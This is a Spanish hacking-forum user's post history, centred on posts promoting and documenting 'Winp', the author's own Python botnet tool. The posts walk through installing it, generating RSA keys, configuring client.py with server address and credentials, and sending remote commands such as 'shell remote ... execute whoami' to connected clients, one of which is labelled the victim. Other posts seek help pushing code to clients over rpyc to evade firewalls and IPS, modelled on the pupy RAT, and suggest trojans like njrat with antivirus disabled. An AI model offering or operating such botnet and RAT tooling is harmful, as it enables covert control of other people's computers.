Menú

Mostrar Mensajes

Esta sección te permite ver todos los mensajes escritos por este usuario. Ten en cuenta que sólo puedes ver los mensajes escritos en zonas a las que tienes acceso en este momento.

Mostrar Mensajes Menú

Mensajes - DtxdF

#1021
Hacking / Tutorial de Winp
Junio 11, 2019, 12:05:13 AM
Tutorial de Winp

No hace mucho hice un pequeño aporte a la comunidad enseñando mi mini-proyecto para la creación de una botnet: "You are not allowed to view links. You are not allowed to view links. Register or Login or You are not allowed to view links. Register or Login", pocos usuarios pero con palabras que debo escuchar, requerían de documentación o algún tutorial acerca de esto, así que les traigo "Tutorial de Winp".

Antes de seguir debemos saber ... ¿Que es una botnet?

una pequeña definición según wikipedia:

Citar
Botnet es un término que hace referencia a un conjunto o red de robots informáticos o bots, que se ejecutan de manera autónoma y automática.​ El artífice de la botnet puede controlar todos los ordenadores/servidores infectados de forma remota.

¿Que es Winp?

Winp, es un proyecto de código abierto para la interacción múltiple de varias terminales remotas

Características

* - Cifrado híbrido (AES256 y RSA)
* - Múltiples conexiones
* - Uso de un proxy o Tor en el cliente
* - Auto-completado semi-inteligente
* - Uso sencillo y de forma simplificada
* - Rápido
* - Probado en Android (Userland), Linux y Windows (Por lo tanto esta disponible para dos plataformas muy usadas)

Instalación

Código: text

Windows:

pip install win-inet-pton
pip install pyreadline
PyCrypto en windows se tiene que instalar "manualmente". Puedes descargarlo desde http://www.voidspace.org.uk/python/modules.shtml#pycrypto

Linux:

pip install readline
pip install pycrypto

Los dos:

pip install PySocks
pip install rsa
pip install terminaltables

git clone https://github.com/DtxdF/Winp


Uso

Generar las claves públicas y privadas o el par de claves:

Código: text

# Al usar por primera vez el script o cuando se borra el archivo que se genera donde estan almacenadas las claves "Comunmente db.dat" nos mostrara el siguiente mensaje que nos indica que coloquemos el tamaño en bits de las claves. Si presionas "ENTER" usaras el predeterminado.

...

No se localizaron las claves asimétricas!
Seleccione el tamaño en BITS de las claves:
Tamaño en bits [1024]: _

...

# Si estas realizando una prueba puedes usar el tamaño en bits por defecto o uno menor; Una vez que des el ENTER empezara la generación de las claves donde tendremos que esperar

...

No se localizaron las claves asimetricas!
Seleccione el tamaño en BITS de las claves:
Tamaño en bits [1024]:
El tiempo de la generación puede variar dependiendo del tamaño de bits y de las capacidades de su computador!
Generando ...
Escribiendo claves en el disco ...
Hecho!
Winp>

...

# Una vez generado veremos el prompt donde introduciremos comandos ... Pero ¿Cuales comandos?, sigue leyendo.



Manejo y configuración de claves

La diferencia entre claves configurables y no configurables es que las configurables ademas de que no se pueden modificar a traves del script, son tus claves generadas al principio y las configurables ademas de que se pueden modificar, estas interactuan con el descifrado y cifrado

Código: text

# Para ver cuales son las claves no configurables
Winp> show keys
Clave Pública: PublicKey(90005090728287665406797146311384640079299856943898211069144122372236375727721058924252993763198377309625402962242907128955425707451498617408359653620827867950855125199512556290544314373784425821943024362520594059826536478598737165833138868172157756444727112844277829688324737989594242542218547988417081058011, 65537)
Clave Privada: PrivateKey(90005090728287665406797146311384640079299856943898211069144122372236375727721058924252993763198377309625402962242907128955425707451498617408359653620827867950855125199512556290544314373784425821943024362520594059826536478598737165833138868172157756444727112844277829688324737989594242542218547988417081058011, 65537, 48494281988900403637325694392500465780248672483421421961068527779514452344806114281616452733147655540842312037471341282489968066219385502529969114589017042373692610200256808982070908819462297258143877185529102463480666979383115687500657778698566301595898465371826246127469059270935260338960317522565512672545, 52849951656400780285777520884722631487282822866380480600342755833032605533590186295581706790005744752358429614259024948140444759779010984029348917770810060513509809, 1703030710670232751440283284246566349733904241977940821873209494830657724104064064237818845466176006739101797811703277196376035836239941455995979)

...

# La clave pública se debe introducir en client.py, a continuación ya veremos como configurarlo
# Vamos a generar el par de claves para client.py y a configurar client.py
# Abrimos una consola de python

python
# Importamos el modulo rsa
>>> import rsa
# Generamos
>>> keys = rsa.newkeys(1024) # Tamaño en bits
>>> keys[0] # Clave pública
PublicKey(157132886210346782738223980361723125205063878182319147322422918451806186221294510958182729303386921787059083743254509463774921996532814508920110295805657392105921215718805734277352528360098336191622019889484874674068406789137857196807042263795591939427376528246694258103669970166788410322024292519284736289123, 65537) # Copiemos esta y configuremos en el servidor
>>> keys[1] # Clave privada
PrivateKey(157132886210346782738223980361723125205063878182319147322422918451806186221294510958182729303386921787059083743254509463774921996532814508920110295805657392105921215718805734277352528360098336191622019889484874674068406789137857196807042263795591939427376528246694258103669970166788410322024292519284736289123, 65537, 138076594655960157943018154707284023642132286809612545205777094629309648874652937906385479925122441350610274710320642469281993116229431538736900206491484470429338591716895837814247349826633521762339564205041230016003718004584926980811810556215081336912779656487124562107494840715152502381211544681832258204393, 51959915709865778767343141968794070842708372285437318264774036770559642203330124299585846335087897797854854941001291448632520820435680152228885587453352726486263231, 3024117419430522850360471104223916910070286925910970063104666679569295395598640543818423468877991091317870632107965096485512606576376559453277533) # Esta la usaremos en client.py

...

Winp> set key add public PublicKey(157132886210346782738223980361723125205063878182319147322422918451806186221294510958182729303386921787059083743254509463774921996532814508920110295805657392105921215718805734277352528360098336191622019889484874674068406789137857196807042263795591939427376528246694258103669970166788410322024292519284736289123, 65537)


Configuración del cliente

Código: text

# Abrimos client.py con nuestro editor de texto, recomiendo nano o vim y nos vamos a las lineas de configuración del 28 al 35 para rellenar las variables correspondientes, en mi caso usare valores de ejemplos

...
rhost = str('127.0.0.1') # Dirección del servidor
rport = int(8043) # Puerto del servidor
user = str("root") # Usuario, normalmente esta en la configuración
passwd = str("password123!") # Contraseña, normalmente esta en la configuración
buff = int(1024) # El tamaño de la carga en memoria, 1024 esta perfecto, aunque si comienza a tener grandes cantidades de longitudes de datos use uno más grande

public_key = str('PublicKey(90005090728287665406797146311384640079299856943898211069144122372236375727721058924252993763198377309625402962242907128955425707451498617408359653620827867950855125199512556290544314373784425821943024362520594059826536478598737165833138868172157756444727112844277829688324737989594242542218547988417081058011, 65537)') # Controlador
private_key = str('PrivateKey(157132886210346782738223980361723125205063878182319147322422918451806186221294510958182729303386921787059083743254509463774921996532814508920110295805657392105921215718805734277352528360098336191622019889484874674068406789137857196807042263795591939427376528246694258103669970166788410322024292519284736289123, 65537, 138076594655960157943018154707284023642132286809612545205777094629309648874652937906385479925122441350610274710320642469281993116229431538736900206491484470429338591716895837814247349826633521762339564205041230016003718004584926980811810556215081336912779656487124562107494840715152502381211544681832258204393, 51959915709865778767343141968794070842708372285437318264774036770559642203330124299585846335087897797854854941001291448632520820435680152228885587453352726486263231, 3024117419430522850360471104223916910070286925910970063104666679569295395598640543818423468877991091317870632107965096485512606576376559453277533)') # Esclavo
...



Ver los clientes conectados e interacturar con ellos

Código: text

Winp> show clients
... Aqui se mostrarían los clientes, pero debido a los caracteres el navegador no los visualizaría correctamente, en este caso yo tengo el siguiente cliente: 127.0.0.1P48210 (Como podemos ver, hay un "P" entre-medio de la dirección IP y el puerto, eso es un separador)
# Ahora enviemos un simple comando:
Winp> shell remote 127.0.0.1P48210 execute whoami
# Ahora visualizamos el resultado
# Quiero aclarar que puedes mostrar tanto todos los datos recibidos sin organización e incluso con organización por dirección IP
# Forma desorganizada
Winp> show data
... Los datos no los público por los caracteres
# Forma organizada
Winp> show data 127.0.0.1P48210
...


Configuración

Si necesitas cambiar un valor o el funcionamiento del script completo, puedes hacerlo en utils/config.py

Código: text

# -*- coding: UTF-8 -*-

import socks
import socket
from terminaltables import AsciiTable, DoubleTable, GithubFlavoredMarkdownTable, PorcelainTable, SingleTable

conf = {
        'proxy_setting':{ # Configuración del proxy
            'use':False, # True para integrar el proxy en el cliente, False lo contrario
            'proxy_type':socks.PROXY_TYPE_SOCKS4, # Tipo de proxy
            'proxy_addr':'127.0.0.1:9050', # La dirección del proxy, en este caso es la dirección del proxy de Tor
            'rdns':True, # dns remoto
            'username':None, # Nombre de usuario
            'password':None # Contraseña
            },
        'rsa_setting':{ # Configuración de rsa
            'bitsize':1024, # El tamaño de bits. Si recordamos es lo que nos aparece al principio del script en el primer momento de ejecución
            },
        'socket_setting':{ # Configuración del socket
            'lhost':'127.0.0.1', # La dirección del host local
            'lport':8043, # El puerto local o en escucha
            'family':socket.AF_INET, # La familia del socket
            'protocol':socket.SOCK_STREAM, # El protocolo
            'limit':0, # El limite de clientes, '0' para que sean infinitos
            'buffer_limit':1024 # El tamaño del buffer para la recepción de datos
            },
        'credentials':{ # Las credenciales
            'username':['root'], # Los nombres de usuarios
            'password':['password123!'] # Contraseñas
            },
        'style':{ # El estilo de algunas cosillas
            'input_string':'Winp> ', # El prompt
            'table_style':SingleTable # El estilo de la tabla
            },
        'time_setting':{ # La configuración del tiempo
            'sleep':1 # El intervalo de espera
            },
        'keys_setting':{
            'bitsize':1024
            },
        'shelve_setting':'db.dat', # La configuración de shelve para la serialización
            'custom_chars':{ # Los caracteres imprimibles correctamente usando la utilidad modify_char.modify
                'ñ':'\xa4',
                'ó':'\xa2',
                'í':'\xa1',
                'ú':'\xa3',
                'á':'\xa0'
            }
        }


Imágenes:



ATENCIÓN y DISCULPAS: Actualice a una versión reciente de Winp ya que se arreglaron errores de código

Nota-1: Si usas un sistema operativo/distribución que no se menciono o no se probo su funcionamiento, ayúdame a verificar su funcionamiento haciéndomelo saber
Nota-2: El proyecto se ira actualizando constantemente, esta atento ante nuevas funcionalidades, corrección de errores, etc
Nota-3: Esta información en cualquier momento puede quedar obsoleta, tratare de actualizar lo más rápido posible
#1022
Hacking / Re:Winp: Una botnet desde tu casa!
Junio 10, 2019, 07:28:06 PM
Recuerden que todos pueden colaborar en mejorarlo!

OJO: Pueden colaborar no sólo en el codigo, también realizando videotutoriales, tutoriales, mejorarlo para otras plataformas, etc.
#1023
Hacking / Re:Winp: Una botnet desde tu casa!
Junio 10, 2019, 07:02:32 PM
@You are not allowed to view links. You are not allowed to view links. Register or Login or You are not allowed to view links. Register or Login

Muchas gracias :D

Y lo será, sólo debo ampliar los conocimientos.
#1024
Hacking / Re:Winp: Una botnet desde tu casa!
Junio 10, 2019, 10:44:43 AM
@You are not allowed to view links. You are not allowed to view links. Register or Login or You are not allowed to view links. Register or Login

Con gusto saco un tiempo para elaborar un manual extensivo acerca de su uso y funcionamiento.

Está atento ...
#1025
Hacking / Winp: Una botnet desde tu casa!
Junio 10, 2019, 02:14:58 AM
Winp


Un script en python para la interacción remota de varias terminales o básicamente un script para la creación de una botnet.


Características


  • Cifrado híbrido en las conexiones - (RSA y AES256)
  • Incrustamiento de un proxy en el cliente
  • Múltiples conexiones
  • Autocompletado semi-inteligente

Requerimientos - (Principal)


  • Python 2.7

Requerimientos - (Python)


  • PySocks
  • readline - (Linux)
  • pyreadline - (Windows)

Requerimientos - (Opcional)


  • Tor o un proxy

Instalación

Código: text

Windows:

pip install win-inet-pton
pip install pyreadline

Linux:

pip install readline

Los dos:

pip install PySocks

git clone https://github.com/DtxdF/Winp
cd Winp
python gen.py
Winp> help
...
Winp>


Uso

Ejecutamos por primera vez y veremos que aparece el siguiente mensaje:

Código: text

No se localizaron las claves asimetricas!
Seleccione el tamaño en BITS de las claves:
Tamaño en bits [1024]:


Introducimos la longitud en bits de las claves asimétricas o Enter para aceptar el tamaño que nos aparece por defecto

Código: text

...
Tamaño en bits [1024]:
El tiempo de la generación puede variar dependiendo del tamaño de bits y de las capacidades de su computador!
Generando ...
Escribiendo claves en el disco ...
Hecho!
Winp>


Una vez creada las llaves nos mostrara el prompt donde podremos introducir comandos como por ejemplo ...

Código: text

...
Winp> help # Para la ayuda
...
Winp> show keys # Muestra las llaves no configurables
...
Winp> show key public # Muestra la llave pública configurable
...
Winp> show key private # Muestra la llave privada configurable
...
Winp> show clients # Muestra los clientes conectados
...
Winp> show data # Muestra los datos recibidos
...
Winp> set key add public <Clave pública> # Para definir la clave pública del destinatario
...
Winp> shell remote <Dirección> <Comando> # Enviar un comando remoto
...


Imagenes

Generamos el par de claves del cliente (Victima)



Vemos el funcionamiento de algunos comandos y como configurar la clave pública del cliente



Preguntas

¿Te gustan estos aportes?, ¿Deseas que haga un tutorial más explicativo acerca del tema?, ¿Tienes dudas?

NOTA: Solo esta probado en Windows y Linux, por lo tanto solo se indicaran las caracteristicas/requerimientos para estos. (Windows 7, Kali linux)

Si tienes alguna duda no dudes en comentarlo y Gracias por leer ...

- Creado por DtxdF
#1026
@You are not allowed to view links. You are not allowed to view links. Register or Login or You are not allowed to view links. Register or Login

Hola!, Gracias por indagar y atenderme.

También hice una prueba usando el constructor/función de python "exec" y ejecutar código remoto sin usar ningún módulo (Excepto socket y os, pero me refiero a un módulo estilo rpyc) y funciono correctamente, claro tenía que cargar el módulo y a veces los módulos dependen de binarios o librerías, pero creo que si hallamos la manera de cargar un binario (por lo menos en Windows para empezar) en memoria y que de adapté a las necesidades del módulo/librería sería una posible solución.
#1027
@You are not allowed to view links. You are not allowed to view links. Register or Login or You are not allowed to view links. Register or Login

Super!, muchas gracias por tu ayuda, espero tu respuesta.
#1028
CitarRun `bundle install` to install missing gems.

Como te indica, ejecuta 'bundle install' para instalar las gemas. Ejecutalo si vuelve a tener un error nos dejas los comandos que usaste desde el primer momento.

Tienes que hacer eso en el directorio raíz de donde se encuentra metasploit.
#1029
@You are not allowed to view links. You are not allowed to view links. Register or Login or You are not allowed to view links. Register or Login

Correcto, trate de usar la utilidad que crea un servidor multihilos (Aunque solo en conexiones, no en ejecución), probé esa utilidad e indagar los atributos que se generan con eso clase haber si me genera un atributo que haga referencia al socket de la conexión para ver si puedo interactuar con el cliente, pero sin éxito.

Si nos fijamos en el rat pupy: You are not allowed to view links. You are not allowed to view links. Register or Login or You are not allowed to view links. Register or Login, nos indica que usa rpyc y es cierto porque cuando se compila pesa poco y tiene una severidad de módulos que se cargan en memoria remotamente.

Gracias por responder ...
#1030
Gracias por responder @You are not allowed to view links. You are not allowed to view links. Register or Login or You are not allowed to view links. Register or Login

Lo siento si no me explique correctamente. Básicamente lo que yo quiero hacer es que en vez de que el cliente envíe código hacia el servidor, sea el servidor quien lo haga.

Si apreciamos en la documentación y tutoriales nos daremos cuenta que el servidor siempre es el que recoje el código que le transfiere el cliente, lo ejecuta y le manda el resultado dependiendo del atributo, función, etc.

Documentación: You are not allowed to view links. You are not allowed to view links. Register or Login or You are not allowed to view links. Register or Login
#1031
Dudas y pedidos generales / Ayuda con rpyc en python
Junio 04, 2019, 05:27:40 PM

Estoy creando una aplicación en python usando el protocolo rpyc para ejecutar python remotamente, en esto me encuentro con una duda que me frena.

Inspiración, gracias pupy rat (Un troyano igualmente escrito en python y usando este protocolo). En eso que pruebo este rat me di cuenta de algo, la conexión era inversa y la conexión para interactuar de rpyc (Cuando yo empecé a usar este módulo), era una conexión directa, me frena el hecho de que el firewall/IPS/Ente protector o la interaccion no iba a hacer la misma debido a que los niveles de detección de la conexión va a hacer mucho mas propensa a la detección (Aunque también una conexión inversa puede ser detectable, pero ese es otro tema).

Lo que necesito es que llenen de conocimiento acerca de cómo hacer para enviar código de python del servidor al cliente.

Gracias :'D
#1032
@You are not allowed to view links. You are not allowed to view links. Register or Login or You are not allowed to view links. Register or Login

Citar
Hola qué tal a todos, llevo 2 meses aprendiendo sobre hacking, aunque son 2 meses intensivos día y noche para aprender de la mejor manera, estoy un poco desesperado porque aún no logro saber cómo hacer un ataque
En los Cursos que he llevado, he visto muy poco de NMAP pero moviéndole un poco, ya sé usarlo más o menos, aunque aún no sé cómo utilizar del todo los Scripts o dónde buscar información de cada uno de los scripts
De MetaSploit sucede lo mismo, sé atacar ciertos sistemas vulnerables y ciertas vulnerabilidades específicas, pero como bien saben, eso no sirve de mucho si llegara a cambiar la infraestructura de la página web a la que quiero atacar

Como tuismo dices, yo te diré algo parecido, te servirá de poco aprender de esa forma.

Si deseas aprender en verdad, tienes que aprender conceptos, saber cómo funciona una herramienta, que es lo que hace para que sea una herramienta muy buena, eso te llevará a que busques más conceptos.

Por ejemplo si hablamos de "NMAP", tendremos que hablar sobre el modelo OSI, tcp/ip, etc. No trato de decir que aprendas eso específico, ya que en esta materia, en esta disciplina tendrás que estar en constante aprendizaje sobre cualquier cosa que te vayas a enfrentar.

Citar
Vi con Shoddan la página web y me arrojó 32 Vulnerabilidades XD
Al principio pensé que era algún tipo de HoneyPot, pero no puede ser que arroje información así

Puede que si o puede que no sea un HoneyPot, ya que este trata de imitar un servicio y hacerle creer al atacante que está vulnerando un sistema en verdad.

Sólo estudia, lee y se constante, si quieres aprender mucho más rápido y saber cómo funciona algo desde abajo (por decirlo así), usa la programación de tu lado.
#1033
@You are not allowed to view links. You are not allowed to view links. Register or Login or You are not allowed to view links. Register or Login

Gracias!, de verdad, Gracias!, estaré haciendo más aportes, esta atenta/o.
#1034
¿Que es?

Convex es un script de código abierto que te permite implementar en tu programa/script/snippet un proxy para obtener mayor protección a la hora de realizar conexiones en el exterior

Requerimientos


  • Python2.x (python >= 3 no probado)
  • Módulo socks de python
  • Librería de socket estándar (pre instalada)

Instalación

Código: text
[Linux y derivados] - No te asustes, lo puedes hacer en Windows descargando e instalando la librería socks
sudo apt-get install python-socks
git clone https://github.com/DtxdF/convex.git


Para usar este script sólo debes seguir dos pasos:


  • Importar
Código: python
import convex

  • Ejecutar la función encargada (rellenando la información al menos que se quiera dejar por defecto: (proxy_type=socks.PROXY_TYPE_SOCKS4, proxy_addr="127.0.0.1:9050", rdns=True, username=None, password=None)
Código: python
convex.transfor() # como ven ejecuto la función con la información por defecto, uso la dirección estándar de **Tor** para este ejemplo

    Para este ejemplo usaré la librería requests

    Código: python
    import requests
    import convex

    convex.transfor()

    data = requests.get("http://ip-api.com/json").json()

    for key, value in data.items():

        print("℅s => ℅s" ℅ (str(key), str(value)))

    # Si queremos volver a tener nuestra dirección IP

    convex.restruct()


    Pueden ver mas información en mi repositorio: You are not allowed to view links. You are not allowed to view links. Register or Login or You are not allowed to view links. Register or Login
    #1035
    @You are not allowed to view links. You are not allowed to view links. Register or Login or You are not allowed to view links. Register or Login

    Hola, tienes alternativas para gente con y sin experiencia, vnc, ssh, troyanos (spynet, njrat, etc), claro que si usas troyanos tendrás que desactivar el antivirus.

    Todas pueden o podrían hacer lo que tú deseas con la máquina remota.
    #1036
    Podrías enviar una imagen del error?, Para que te podamos ayudar con el error de código.
    #1037
    @You are not allowed to view links. You are not allowed to view links. Register or Login or You are not allowed to view links. Register or Login

    Si tu dispones de un entorno Linux puedes ver el fichero de los servicios comunes "cat /etc/services". Fichero que lo usa la increíble e imprescindible herramienta "nmap".
    #1038
    @You are not allowed to view links. You are not allowed to view links. Register or Login or You are not allowed to view links. Register or Login

    Espléndido, te recomiendo que hagas un aporte en python, seré el primero que lo va a ver.
    #1039
    @You are not allowed to view links. You are not allowed to view links. Register or Login or You are not allowed to view links. Register or Login

    Pero probaste lo que te dije que verificaras?, Conéctate con el cable de red Y además deberías probar con otro sistema operativo/distribución preferiblemente uno ligero, si vuelve a tener el error de que se te crashea p uede ser un error de la ISO de Kali o que tú tarjeta de red/adaptador inalámbrico este defectuoso o ya va a llegar la hora de su muerte.

    Recuerda que yo te doy probabilidades de acuerdo a mi experiencia, todo es cuestión de ir probando.
    #1040
    @You are not allowed to view links. You are not allowed to view links. Register or Login or You are not allowed to view links. Register or Login

    Hola, si quieres iniciar con un lenguaje de programación, te recomiendo que cada vez que aprendas algo (hasta lo mas mínimo), lo investigues a fondo, ya que puedes ir aprendiendo de esas pequeñeces para hacer cosas grandes.

    Como dice @You are not allowed to view links. You are not allowed to view links. Register or Login or You are not allowed to view links. Register or Login una vez que aprendas sobre algo practícalo creando pequeños scripts que realizan ciertas funciones y si puedes combinar todo lo aprendido mucho mejor, el único pero que tengo es que si vas a hacer proyectos personales, hazlo pero a tu gusto, no hagas un proyecto de algo en específico ya que se perdería la noción de la programación.